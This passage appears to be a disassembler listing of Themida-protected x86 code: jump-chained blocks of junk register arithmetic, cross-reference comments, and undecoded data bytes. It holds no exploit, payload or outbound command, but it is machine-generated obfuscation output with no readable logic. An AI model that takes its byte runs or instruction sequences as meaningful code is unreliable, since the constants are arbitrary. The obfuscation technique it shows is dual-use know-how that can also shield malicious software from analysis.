mov ecx, [esp] add esp, 4 push esi jmp loc_557DA2 ; --------------------------------------------------------------------------- dw 112Dh dd 2937FD3Ah, 11BE56D8h, 137FD3Ah, 0C0FBE9F0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554AF6: ; CODE XREF: Themida_:0054DEF6j add esi, ebx jmp loc_561F70 ; --------------------------------------------------------------------------- loc_554AFD: ; CODE XREF: Themida_:00556594j xor dh, 28h not dh add dh, 6 push edx mov dh, 77h sub bl, dh pop edx sub bl, dh add bl, 77h pop edx sub bl, al push small 17A5h mov [esp], cx push eax mov eax, esp push ecx mov ecx, 4 add eax, ecx pop ecx sub eax, 4 jmp loc_556657 ; --------------------------------------------------------------------------- db 59h dd 4C481h, 0BA520000h, 2F18513Fh, 0CA81DAF7h, 110F0433h dd 8106EAC1h, 47BEB9F2h, 5AD70103h, 0B85FE9h, 2434FF00h dd 2C326858h, 0C890000h, 417DE924h, 0C6010000h, 0FFD777E9h dd 1BF181FFh, 102FB98h, 240C8BCEh, 0FFD4FAE9h, 0B7B353FFh dd 8904EC83h, 0FBB62414h, 0C01AEE80h, 0CEFE06EEh, 0CE80C6FEh dd 0EBEE80A2h, 9111E9h db 0 ; --------------------------------------------------------------------------- loc_554B9D: ; CODE XREF: Themida_:0055E3D4j sub esi, 5928310Fh add esi, edi add esi, 5928310Fh mov edi, [esp] push edx mov edx, esp add edx, 4 jmp loc_55EFD3 ; --------------------------------------------------------------------------- loc_554BBC: ; CODE XREF: Themida_:00555C85j shl edx, 3 push ebx mov ebx, 86181C76h sub edx, ebx pop ebx mov edi, edx mov edx, [esp] jmp loc_5570E6 ; --------------------------------------------------------------------------- loc_554BD2: ; CODE XREF: Themida_:00551048j shr edx, 1 jmp loc_55DE93 ; --------------------------------------------------------------------------- loc_554BD9: ; CODE XREF: Themida_:005516FDj shl edx, 1 push 5A67h mov [esp], eax jmp loc_55986B ; --------------------------------------------------------------------------- dd 4C38359h, 77E1E9h db 0 ; --------------------------------------------------------------------------- loc_554BF1: ; CODE XREF: Themida_:00555974j pop ecx jmp loc_556CDC ; --------------------------------------------------------------------------- loc_554BF7: ; CODE XREF: Themida_:00555948j xchg ecx, [esp] pop esp sub eax, 1B7D24C5h push dword ptr [edi+eax*4] push dword ptr [esp] mov eax, [esp] jmp loc_55DA1E ; --------------------------------------------------------------------------- dw 0C8FEh dd 0BDE9A104h, 8FFFFF99h, 7CE92404h db 62h, 2 dup(0) ; --------------------------------------------------------------------------- loc_554C1F: ; CODE XREF: Themida_:0055A0D5j pop ecx and esi, ecx push dword ptr [esp] pop ecx push ecx mov ecx, esp jmp loc_552476 ; --------------------------------------------------------------------------- loc_554C2E: ; CODE XREF: Themida_:0055401Fj push ebx mov ebx, 7C10399Eh or ebx, 28016BBDh jmp loc_557E42 ; --------------------------------------------------------------------------- loc_554C3F: ; CODE XREF: Themida_:00552D51j xor ebp, ebx pop ebx xor eax, ebp pop ebp push 2D85h mov [esp], ebx push 5948652Eh mov ebx, [esp] add esp, 4 jmp loc_5578B3 ; --------------------------------------------------------------------------- db 5, 4, 0 dd 0E8830000h, 24043304h, 33240431h, 5AE92404h, 29000011h dd 0D0015BDAh, 0FF2434FFh, 835A2434h, 0C48104C4h, 4, 31240433h dd 61E92404h, 290000A8h, 835D58C1h, 35E904E9h, 8700000Bh dd 505C240Ch, 1E57BDB8h, 58C3013Fh, 8174E9h, 243C8900h dd 0BB535F5Dh, 502C841Dh, 1C8BDF89h, 4C48324h, 2BC2C781h dd 21E97C88h, 59000076h, 0BC46E952h, 62DFFFFh, 89217329h dd 2434FFC2h, 4C48358h, 0F40FF05h, 2DD00170h, 700F40FFh dd 0F5E9575Ah, 0F0000A2h, 0E28952C8h, 0CD685557h, 5D2EF231h dd 246068h, 241C8900h, 26B4B951h, 0D9F72CAAh, 51E98141h dd 89B24A0Ah, 0A3E959CBh, 52000016h, 0C281E289h, 4, 4C281h dd 14870000h, 34FF5C24h, 0A9FE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554D3E: ; CODE XREF: Themida_:0054F654j add esp, 4 push ecx mov ecx, 416B00B5h add ebx, ecx pop ecx add ebx, 1D885131h add ebx, eax push ebp jmp loc_56183A ; --------------------------------------------------------------------------- dd 0E924248Bh, 0FFFFB394h, 5C2DED81h, 875B0F67h, 0E95C242Ch dd 9583h ; --------------------------------------------------------------------------- loc_554D70: ; CODE XREF: Themida_:0055B624j or ecx, 34097E7Eh jmp loc_55B947 ; --------------------------------------------------------------------------- loc_554D7B: ; CODE XREF: Themida_:00561590j shl edx, 6 add edx, 0FFFFFFFFh push ecx mov ecx, 0D94A234Fh jmp loc_55CF82 ; --------------------------------------------------------------------------- loc_554D8F: ; CODE XREF: Themida_:00557A13j add edi, ebx mov ebx, [esp] add esp, 4 jmp loc_55A4CA ; --------------------------------------------------------------------------- loc_554D9C: ; CODE XREF: Themida_:005622F4j push esp pop ebp push ebx mov ebx, 4 jmp loc_55AF94 ; --------------------------------------------------------------------------- db 81h, 0C2h, 9Ch dd 8955A8B4h, 0F6815AD6h, 465F1FECh, 15EF029h, 434CE9F0h dd 0C1800000h, 1C8B66F4h, 2C48324h, 0B22C2C2Ch, 0CB8E9h db 0 ; --------------------------------------------------------------------------- loc_554DD5: ; CODE XREF: Themida_:00552F40j mov ecx, 14BA108Ah and ecx, 1CE4521Eh push eax mov eax, 5C556ECh xor ecx, eax pop eax and ebx, ecx pop ecx jmp loc_558CAC ; --------------------------------------------------------------------------- loc_554DF1: ; CODE XREF: Themida_:0055643Fj add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5531DD ; --------------------------------------------------------------------------- dd 9648EF81h, 0FB892CDFh, 5BDE015Fh, 0A88AE9h, 241C8900h dd 1227BA52h, 25BB1990h, 31199012h, 0DD015AD3h, 0E9241C8Bh dd 0FFFFCE84h ; --------------------------------------------------------------------------- loc_554E2C: ; CODE XREF: Themida_:00554F8Dj push 23652C25h jmp loc_5532D4 ; --------------------------------------------------------------------------- loc_554E36: ; CODE XREF: Themida_:0055E739j mov edi, 4 sub ebp, edi jmp loc_561FFE ; --------------------------------------------------------------------------- dw 0E3B8h dd 0F7714012h, 0ED1935D8h, 0C5298EBFh, 265FE958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554E56: ; CODE XREF: Themida_:005545FEj push eax jmp loc_55077A ; --------------------------------------------------------------------------- loc_554E5C: ; CODE XREF: Themida_:0055FDBDj mov ebx, [esp] push edx push esp mov edx, [esp] add esp, 4 add edx, 4 sub edx, 4 push edx jmp loc_550499 ; --------------------------------------------------------------------------- dd 1CE768h, 241C8900h, 0C9BF5750h, 812F9459h, 624553F7h dd 0C4C78147h, 81405D26h, 0F8627BE7h, 81DFF759h, 0E05036C7h dd 0D8F7810Ch, 8903900Dh, 43E95FF8h db 35h, 2 dup(0) ; --------------------------------------------------------------------------- loc_554EB3: ; CODE XREF: Themida_:005545A9j mov [esp], edi jmp loc_558213 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF8F05h, 0C002E6C0h, 0EC8306EEh, 5D37E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554ECE: ; CODE XREF: Themida_:005527B7j push edx mov edx, esp add edx, 4 add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp push edx jmp loc_55C1BD ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 7E66E9h, 0E9DA2900h, 9C07h, 0EF81EF29h, 30D95DC7h, 0E9FE295Dh dd 0FFFFA8C0h, 9C2424D3h, 0FF906FE9h db 0FFh ; --------------------------------------------------------------------------- loc_554F15: ; CODE XREF: Themida_:00559275j push ebx mov bh, dh mov dh, cl mov cl, bh mov ebx, [esp] add esp, 4 and cl, 9Fh push bx mov bl, 4Dh add cl, 0Eh add cl, 2Bh add cl, bl sub cl, 2Bh jmp loc_55A08C ; --------------------------------------------------------------------------- loc_554F3C: ; CODE XREF: Themida_:00550992j mov edi, esp push edx mov edx, 4 add edi, edx mov edx, [esp] add esp, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ecx jmp loc_5607FA ; --------------------------------------------------------------------------- dw 8B66h dd 0E953240Ch, 4463h, 0CF2A10BBh, 5BDA0137h, 0FFFAA6E9h db 0FFh ; --------------------------------------------------------------------------- loc_554F75: ; CODE XREF: Themida_:0055931Aj and eax, edi pop edi or eax, eax jz loc_557C76 push dword ptr [edi+1Ch] push dword ptr [esp] pop ecx push esi mov esi, esp push edi push edx push ebx jmp loc_554E2C ; --------------------------------------------------------------------------- dw 248Bh dd 2C38124h, 33000000h, 1C31241Ch, 23F7E924h, 0E3C10000h dd 8EEB8102h, 810D4420h, 3006D4E3h, 35F3816Ah, 0F732874Eh dd 71EB81DBh, 31ED0ED1h, 34AEE9D9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554FCA: ; CODE XREF: Themida_:0055162Aj xor esi, 2C2B691Ch mov ecx, esi mov esi, [esp] push ecx mov ecx, esp push esi jmp loc_5572FB ; --------------------------------------------------------------------------- dw 895Ch dd 4BB5240Ch, 34E368h, 24048900h, 36F5E9h db 0 ; --------------------------------------------------------------------------- loc_554FF1: ; CODE XREF: Themida_:0055AFF4j mov [esp], eax mov eax, edi mov ebx, eax pop eax pop edi add ebx, 7D1F7F32h jmp loc_55E28D ; --------------------------------------------------------------------------- db 0ADh, 83h, 7Fh dd 840F0020h, 0FFFFA480h, 5BA6B951h, 0C1814C99h, 2061BD59h dd 0E5E9CE29h db 0A2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555023: ; CODE XREF: Themida_:0054F036j add esp, 4 mov edx, [esp] add esp, 4 xor edx, 714A4A70h mov edi, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] loc_55504D: ; CODE XREF: Themida_:loc_555F4Fj ; Themida_:0055BEA0j push dword ptr [edi+24h] push ebx jmp loc_551CB6 ; --------------------------------------------------------------------------- dw 158h dd 0F7DDE9FAh, 487FFFFh, 8BDBE924h, 0C3810000h, 5033515Bh dd 8324348Bh, 0BF5704C4h, 2C6518EDh, 1E74C381h, 0FB295AE5h dd 1E74EB81h, 0FF5F5AE5h, 8D37E930h, 0BA52FFFFh, 35261E1Ah dd 0FFF8B1E9h, 0EBEB81FFh, 0E977CC3Eh, 0FFFF92A9h, 6426C181h dd 0E98138A3h, 15BA55FDh, 4BA525Bh, 29000000h, 0C335AD1h dd 38BCE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5550C2: ; CODE XREF: Themida_:0055EF98j add esp, 4 sub ecx, 17333774h sub ecx, ebx add ecx, 17333774h pop ebx and ecx, 5F072C18h shl ecx, 5 push 335Eh mov [esp], edi mov edi, 5EF1D31h and ecx, edi pop edi add ecx, 0FFBB0004h add edi, ecx jmp loc_555C3B ; --------------------------------------------------------------------------- dw 0D388h dd 8850595Ah, 0E9C188D8h, 8814h, 815AD731h, 9F5D28C6h dd 46EE814Dh, 0E90FA272h, 0FFFFB9BFh, 240C8B66h, 4EC81h dd 4890000h, 24A9E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55512E: ; CODE XREF: Themida_:00558C46j mov [esp], esi sub esp, 4 mov [esp], ecx jmp loc_55CE6E ; --------------------------------------------------------------------------- db 83h dd 248904ECh, 24048324h, 2434FF04h, 0E92434FFh, 0FFFFC133h dd 6624248Bh, 66240C89h, 66C8B60Fh, 5EE99C51h, 5CFFFF8Ch dd 0B9240C89h, 67116CF3h, 0E4E95753h, 500000C0h, 9D2CE9h db 0 ; --------------------------------------------------------------------------- loc_55517D: ; CODE XREF: Themida_:0055885Ej mov edx, [esp] add esp, 4 add esp, 4 and ecx, esi mov esi, [esp] jmp loc_5515F1 ; --------------------------------------------------------------------------- dw 34FFh a_pirsqr db '$_P‰àéŸR',0 align 2 loc_5551A2: ; CODE XREF: Themida_:005619E3j mov ecx, [esp] add esp, 4 jmp loc_5610D6 ; --------------------------------------------------------------------------- loc_5551AD: ; CODE XREF: Themida_:00556156j push 4542596Ch pop eax push edi push 1 jmp loc_55E1A8 ; --------------------------------------------------------------------------- aWvsg db 'WVég',7,0 dd 74AF6800h, 0C15803BDh, 0B72505E8h, 4863621Eh, 0FF9410E9h dd 5EB0B9FFh, 8E681E75h, 89000075h, 0F6BE2434h, 813F451Eh dd 861725C6h, 3EEC111h, 0E33E681h, 0BD554015h, 1, 815DEE29h dd 8664AEEEh, 6846E91Eh, 0E1810000h, 0B295913h, 231F181h dd 0CE018FF0h, 5EF08959h, 0F704E8C1h, 2E2D40D0h, 81B2A747h dd 6E1AEDEBh, 81C30162h, 6E1AEDC3h, 0AED8E962h, 39BB0000h dd 0F711C26Fh, 4EBC1DBh, 3335F381h, 0C3817C04h, 1AF15C21h dd 14ADE955h, 89570000h, 4C781E7h, 55000000h, 4BDh, 5DEF2900h dd 96D6E9h db 0 ; --------------------------------------------------------------------------- loc_555271: ; CODE XREF: Themida_:0055C24Dj push esi mov esi, 36891729h xor [esp+4], esi mov esi, [esp] add esp, 4 push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 sub esp, 4 mov [esp], esi push esp pop esi jmp loc_561B87 ; --------------------------------------------------------------------------- db 89h dd 74FF242Ch, 59E90424h, 57000007h, 0F30FB3BFh, 8BFB012Bh dd 0C481243Ch, 4, 0EB81F301h, 2BF30FB3h, 5E2434FFh, 53E78957h dd 4BBh, 5BDF0100h, 4BD55h, 57E90000h, 8B000014h, 8DE92424h db 0E7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5552E3: ; CODE XREF: Themida_:00562202j not edx xchg eax, edx xor [esp], eax xor eax, [esp] xor [esp], eax mov ecx, [esp] add esp, 4 jmp loc_5530A1 ; --------------------------------------------------------------------------- loc_5552FD: ; CODE XREF: Themida_:0054FC3Dj mov esi, [esp] add esp, 4 add esp, 4 jmp loc_550EEE ; --------------------------------------------------------------------------- loc_555311: ; CODE XREF: Themida_:0054FF69j push cx pushf jmp loc_54DDC5 ; --------------------------------------------------------------------------- loc_555319: ; CODE XREF: Themida_:0055586Ej mov ecx, esp jmp loc_5532E9 ; --------------------------------------------------------------------------- aY db 'µ"(ìY',0 aHT db 'ÜhÂt',0 align 4 dd 0B5240C89h, 3E5C086h, 0FFEBBCE9h db 0FFh ; --------------------------------------------------------------------------- loc_555339: ; CODE XREF: Themida_:00559884j or esi, 68113251h and esi, 6A3400B0h add esi, 0EB1657B1h and ebx, esi jmp loc_55AFC0 ; --------------------------------------------------------------------------- dw 0EA20h dd 0E9CAFE59h, 59E7h, 242C8759h, 8BD0885Ch, 1E92414h, 5E000065h dd 0E958C501h, 8B45h, 240C8B66h, 348B5456h, 2FE3E924h dd 0EE050000h, 0D43D328h, 6C7800ACh, 776EE9h, 0F7565E00h dd 815E2414h, 7242BCCEh, 0C8B0E933h, 0C89FFFFh, 256DE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5553AA: ; CODE XREF: Themida_:0055F7C3j mov [esp], esp add dword ptr [esp], 4 pop esi push 3F2Ch jmp loc_5614DB ; --------------------------------------------------------------------------- db 5Fh dd 4BE56h, 0F1290000h, 240C875Eh, 242C895Ch, 0FFB805E9h dd 875E5EFFh, 248B242Ch, 24348924h, 0FF2434FFh, 3C8B2434h dd 0C2A6E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5553EE: ; CODE XREF: Themida_:00557E43j mov ebp, 5C11FABAh xor ebx, ebp pop ebp mov ecx, ebx mov ebx, [esp] jmp loc_55BC1A ; --------------------------------------------------------------------------- dd 7429C381h, 8F517A9Fh, 0B6E95B03h, 33FFFF89h, 34312434h dd 24343324h, 0FF24248Bh, 0E99C240Ch, 0FFFF89A1h, 0C781E789h dd 4, 4EF81h, 3C870000h, 2C895C24h, 0E15CE924h, 5D54FFFFh dd 4B850h, 0ED810000h, 403D3B23h, 0C581C501h, 403D3B23h dd 29FAE958h, 2C8B0000h, 0AEECE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555462: ; CODE XREF: Themida_:00552680j add ecx, 4 xchg ecx, [esp] jmp loc_55A5F5 ; --------------------------------------------------------------------------- loc_555470: ; CODE XREF: Themida_:0056019Cj xchg ebx, [esp] mov esp, [esp] mov [esp], edx push esp jmp loc_553B64 ; --------------------------------------------------------------------------- db 46h dd 788F681h, 0DEF77D6Ah, 91C6814Eh, 818266B1h, 0C16DC0EBh dd 1AC38113h, 144F239h, 1AEB81F3h, 8144F239h, 0C16DC0C3h dd 1C875E13h, 24248B24h, 55E18951h, 4BDh, 5DE90100h, 4C181h dd 0C330000h, 0BF8BE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5554CA: ; CODE XREF: Themida_:005585D7j mov eax, 4 sub edx, eax mov eax, [esp] add esp, 4 jmp loc_55A7DA ; --------------------------------------------------------------------------- dd 50E9D8F7h, 5BFFFFB6h, 0D2E9FA01h, 5900003Ch, 2BF4E9h db 0 ; --------------------------------------------------------------------------- loc_5554F1: ; CODE XREF: Themida_:00561C86j push 5117h mov [esp], ebp mov ebp, 4 push ebp add dword ptr [esp], 3B6C1392h pop ecx sub ecx, 3B6C1392h jmp loc_55BA13 ; --------------------------------------------------------------------------- loc_555512: ; CODE XREF: Themida_:00552DC5j mov ax, [esp] push esi mov esi, esp add esi, 4 jmp loc_55C84C ; --------------------------------------------------------------------------- dd 52D8295Bh, 0FFA065E9h db 0FFh ; --------------------------------------------------------------------------- loc_55552D: ; CODE XREF: Themida_:00550798j pop ecx mov eax, ebp mov ebp, [esp] add esp, 4 mov ecx, 299A0E14h xor ecx, eax pop eax shr ecx, 1 jmp loc_55E84D ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 7B44B850h, 0D8F77CB3h, 0E883D8F7h, 7E8C101h, 0C4723548h dd 0CBE96A43h db 1Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_555563: ; CODE XREF: Themida_:0055291Cj mov [esp], ebp push 4 pop ebp add eax, 2B224A55h jmp loc_54E408 ; --------------------------------------------------------------------------- loc_555576: ; CODE XREF: Themida_:00558A79j pop ebx push ebp jmp loc_550B08 ; --------------------------------------------------------------------------- db 68h, 8Eh, 1Ch dd 4890000h, 5E08924h, 4, 0FF8F4FE9h, 3BBA68FFh, 3C890000h dd 81E78924h, 4C7h, 4C78300h, 5C243C87h, 4E98358h, 91B2E951h dd 0C683FFFFh, 24348704h, 8F24248Bh, 248B2404h, 0B4D2E924h dd 2158FFFFh, 0B9E95FFAh, 81FFFFC2h, 82063BC3h, 8BDA013Ah dd 0A4E9241Ch, 5C00009Ch, 1D50E9h, 4C48300h, 48BE388h dd 4C48324h, 4CA86859h, 6BE90000h, 5AFFFF9Bh, 0E958C228h dd 0FFFFD546h, 4C481h, 0D0280000h, 24148B66h, 6CA8E9h dd 16766800h, 34890000h, 9FB85024h, 0E931106Eh, 0D0A5h dd 75E9D501h db 0E6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55562F: ; CODE XREF: Themida_:00550328j xor esi, [esp] xor [esp], esi jmp loc_55096C ; --------------------------------------------------------------------------- dw 55Fh aNS5 db 'N%{:é5<',0 dd 0E9525A00h, 0FFFFC6CDh, 83242C8Bh, 28B04C4h, 0D1C2815Ah dd 5021D335h, 3F13E9h db 0 ; --------------------------------------------------------------------------- loc_555661: ; CODE XREF: Themida_:00561A88j mov edi, [esp] push edx mov edx, esp jmp loc_55FA7D ; --------------------------------------------------------------------------- dd 1C24C781h, 0C7815918h, 0CE5BFFF6h, 0E95FF989h, 0C349h dd 0A6E9D389h, 68000069h, 12D3h, 0E9241489h, 8F97h ; --------------------------------------------------------------------------- loc_555694: ; CODE XREF: Themida_:0056262Aj and edi, 26EB1405h jmp loc_560388 ; --------------------------------------------------------------------------- db 0Ch dd 4C0FEB6h, 58C60001h, 305AF730h, 0F2805BFAh, 0C8D8E97Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5556B6: ; CODE XREF: Themida_:0055BAA3j jmp loc_54DDC5 ; --------------------------------------------------------------------------- db 31h dd 0ADE9243Ch, 87FFFFBFh, 895C240Ch, 53662414h, 0FA887DB7h dd 0D3005B66h, 0C0B60F5Ah, 818734FFh, 4ECh, 24048900h dd 6706D9B8h, 82E95738h, 68FFFFD9h, 6522h, 0B2241489h dd 5AD58861h, 5966EF00h, 93E9F830h, 1FFFF87h, 39EB81D3h dd 68037351h, 3398h, 21C8E9h, 5DE82900h, 2B388235h, 0E95B5047h dd 0A03Ch ; --------------------------------------------------------------------------- loc_555728: ; CODE XREF: Themida_:005581D2j push 41301B43h pop edx neg edx sub edx, 7BDEBFF8h mov esi, edx pop edx add [esp+4], esi pop esi mov edx, [esp] add esp, 4 jmp loc_559CA8 ; --------------------------------------------------------------------------- loc_555749: ; CODE XREF: Themida_:0054E2FEj mov ecx, [esp] add esp, 4 jmp loc_552AF2 ; --------------------------------------------------------------------------- dd 24042966h, 8764E99Ch, 815FFFFFh, 4C6h, 24348700h, 136EE95Ch dd 0FF570000h, 5F042474h, 5C24048Fh, 240C8B66h, 0E95F5457h dd 0FFFFC139h, 12C5C681h, 0CE017B41h, 12C5EE81h, 0BB537B41h dd 50212AFFh, 406FC381h, 0DE011727h, 2434FF5Bh, 9596E9h db 0 ; --------------------------------------------------------------------------- loc_5557A9: ; CODE XREF: Themida_:005618B7j xor edx, 66E722A3h push ebx jmp loc_5547A2 ; --------------------------------------------------------------------------- loc_5557B5: ; CODE XREF: Themida_:0055E679j xor edx, 4CAD4AFAh push edx sub dword ptr [esp], 57FA09C2h jmp loc_556966 ; --------------------------------------------------------------------------- loc_5557C8: ; CODE XREF: Themida_:0055C9E9j pop ebp add ebp, 982F3A6Ah jmp loc_561719 ; --------------------------------------------------------------------------- dd 5C240C87h, 0AA29E9h, 0EC835900h, 9466E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5557E6: ; CODE XREF: Themida_:00559D90j pop ebp pop dword ptr [esp] mov esp, [esp] push ecx mov ecx, esp jmp loc_55D6ED ; --------------------------------------------------------------------------- loc_5557F5: ; CODE XREF: Themida_:00553296j pop eax xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp jmp loc_54F0C4 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 6E13E9h, 7B13B800h, 0C5896F51h, 2D3BBA58h, 96E90D29h dd 89000014h, 1A35E9E2h, 4BA0000h, 1000000h, 8DD1E9D0h dd 8059FFFFh, 0F380FFC3h, 5BD8009Fh, 0F657B551h, 28A9E9D5h dd 8F5A0000h, 2FE92404h, 56FFFF88h, 27E9E689h, 81FFFFA2h dd 0A26644C5h, 0B1BA527Dh, 0E93EB24Dh, 0FFFF9EF0h ; --------------------------------------------------------------------------- loc_555868: ; CODE XREF: Themida_:00561079j push eax push esi mov eax, [esp] push ecx jmp loc_555319 ; --------------------------------------------------------------------------- loc_555873: ; CODE XREF: Themida_:0055B53Cj mov edx, [esp] add esp, 4 xchg ecx, edx sub esp, 4 mov [esp], ecx jmp loc_56056D ; --------------------------------------------------------------------------- loc_555889: ; CODE XREF: Themida_:00552727j push eax push edx mov edx, 50347AF4h sub edx, 0E4E43C3Ch mov eax, edx pop edx and eax, 2F410E1h jmp loc_5602C3 ; --------------------------------------------------------------------------- db 68h dd 7988h, 0E9242C89h, 8590h, 4EC81h, 0C890000h, 3AE95324h db 4Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_5558BF: ; CODE XREF: Themida_:00561C24j push dword ptr [esp] pop eax add esp, 4 mov edi, [esp] jmp loc_5508D2 ; --------------------------------------------------------------------------- dw 1DBAh dd 42108E29h, 0BB53D2F7h, 0EF71D6E5h, 815BDA31h, 0AC1CF7EDh dd 9AC5816Ah, 297CD044h, 9AED81D5h, 817CD044h, 0AC1CF7C5h dd 2C875A6Ah, 24248B24h, 8904EC83h, 0B9512424h, 4, 4244C01h dd 24048F59h, 0E9E78957h, 0B251h, 0A107E956h, 34FF0000h dd 0E9555924h, 0CD6Ah, 25172FBEh, 913EE93Eh, 0E9530000h dd 0FFFFE6E8h ; --------------------------------------------------------------------------- loc_55593C: ; CODE XREF: Themida_:0055E4C1j add ecx, 4 add ecx, 4 jmp loc_554BF7 ; --------------------------------------------------------------------------- db 89h, 0D3h, 5Ah dd 4327F381h, 0AAE94005h, 81FFFFA5h, 4C1h, 0CABBE900h dd 0BF57FFFFh, 4, 0AE9F829h db 0D1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555973: ; CODE XREF: Themida_:005530A3j pop edx jmp loc_554BF1 ; --------------------------------------------------------------------------- db 0B1h, 5Eh, 0E9h dd 0FFFFF1FDh, 0E9241C87h, 6F88h, 27FCC681h, 0CE296287h dd 27FCEE81h, 87596287h, 248B2434h, 990CE924h, 15FFFFFh dd 0E9555AD6h, 0FFFFA017h ; --------------------------------------------------------------------------- loc_5559AC: ; CODE XREF: Themida_:0055894Cj push 5F9Dh mov [esp], edi mov edi, 4 add ebx, edi pop edi xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_55B15F ; --------------------------------------------------------------------------- dw 0B850h dd 61774E46h, 37FAE9h, 40B400h, 0C32858E3h, 0FFD79CE9h db 0FFh ; --------------------------------------------------------------------------- loc_5559E1: ; CODE XREF: Themida_:00550ED6j inc esi add esi, 28B54BF5h push ebp mov ebp, 3D3375A9h neg ebp jmp loc_560932 ; --------------------------------------------------------------------------- db 81h, 0C3h, 52h dd 0E96B2106h, 9A2Fh, 50242C8Bh, 0BA525854h, 6348630Ah dd 4473E281h, 0EAC13F73h, 56E28103h, 81394A78h, 75372AE2h dd 0CDE7E90Ah, 0F3800000h, 74E952FAh, 5C00007Ah, 4C281h dd 0EA810000h, 4, 1D1BE9h, 24148700h, 2859665Ch, 2434FFD8h dd 5B2434FFh, 4C481h db 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 push ebp jmp loc_55D291 ; --------------------------------------------------------------------------- loc_555A68: ; CODE XREF: Themida_:0055F786j sub eax, 5DD43829h add eax, esi jmp loc_5519F2 ; --------------------------------------------------------------------------- dd 60BEF681h, 0F7893F5Bh, 122BE95Eh, 665C0000h, 9C2424D3h dd 0FF8338E9h, 66C828FFh, 0C5B4E952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555A96: ; CODE XREF: Themida_:00557F82j add ebx, 4 jmp loc_551970 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 0AB0BE9h, 3C875C00h, 24248B24h, 576E68h, 242C8900h dd 0FFDBF7E9h, 48966FFh, 86F6E924h, 48B0000h, 4D37E924h dd 0C5810000h, 2, 0E9242C87h, 0FFFFA25Bh, 0C4C6815Ah, 810515D8h dd 0B26DE7EFh, 53F70122h, 0B26DE7BBh, 5BDF0122h, 4C7835Eh dd 2474FF57h, 48F5F04h, 0E95B5C24h, 0FFFF82BDh, 8704C783h dd 815C243Ch, 123C5EBh, 5BDA8948h, 67ABC281h, 0FA010E31h dd 953FE9h, 89525D00h, 4C281E2h, 81000000h, 4EAh, 74FF5200h dd 8F5A0424h, 895C2404h, 74BE2434h, 46790E4Bh, 0BA524646h dd 790E4B73h, 6547C681h, 0D6296E11h, 6547EE81h, 57E96E11h dd 52FFFFC3h, 0B2CEB450h, 58E23010h, 0CA80D2F6h, 463CE936h dd 202D0000h, 5210A41h, 7FA5334Ch, 8F52E9h, 0C9F58100h dd 0E90AE305h, 627Dh, 8124048Bh, 4C4h, 0F4FBE900h, 34FFFFFFh dd 1EEFE924h, 680000h, 29000000h, 455D242Ch, 3C08ED81h dd 0E5C17C19h, 0F5814502h, 6020BECCh, 0FFF4C9E9h, 241C89FFh dd 5384B151h, 0F930CBB7h, 4EC815Bh, 89000000h, 0FCE9241Ch dd 50FFFFD0h, 0C1243481h, 59579472h, 72C1F181h, 48B5794h dd 4C48324h, 1A7EC02Dh, 5C8012Fh, 2F1A7EC0h, 24048759h dd 6624248Bh, 2404BB0Fh, 81B3E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555C12: ; CODE XREF: Themida_:00560201j pop eax xor eax, edx push dword ptr [esp] push dword ptr [esp] pop edx add esp, 4 add esp, 4 push ecx mov ecx, 7E53081Eh jmp loc_5533A8 ; --------------------------------------------------------------------------- dd 2C5FC281h, 1DE95445h db 2Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_555C3B: ; CODE XREF: Themida_:005550F5j pop ecx jmp loc_558C37 ; --------------------------------------------------------------------------- db 53h, 0BBh, 0C1h dd 8171F41Ch, 1B15C8E3h, 7EBC16Ah, 1B75F381h, 0EBC1324Dh dd 81D3F704h, 751D28EBh, 0E9D929F1h, 0B420h, 0EE31F531h dd 0C168F531h, 0E900006Fh, 2B1Bh, 0DE9BC2Ch db 0Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_555C7F: ; CODE XREF: Themida_:0055BEB0j push 1DA366EEh pop edx jmp loc_554BBC ; --------------------------------------------------------------------------- dw 0C481h dd 4, 113EB951h, 0F1814027h, 28966F5Bh, 17BAE9h, 1F260D00h dd 3635657Fh, 0E93F9A25h, 2B31h ; --------------------------------------------------------------------------- loc_555CB0: ; CODE XREF: Themida_:005604C3j add esp, 4 push edx mov edx, 94632h push edi mov edi, 485D3E7Eh and edi, 7B37240Ch xor edi, 24C52DE2h add edi, 23616F1Dh sub edi, 61654CE7h add edx, edi jmp loc_558741 ; --------------------------------------------------------------------------- db 58h, 89h, 0EFh dd 0B6E9535Dh db 9Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555CEB: ; CODE XREF: Themida_:00562925j xchg ebp, [esp] jmp loc_55CAAF ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF80CDh ; 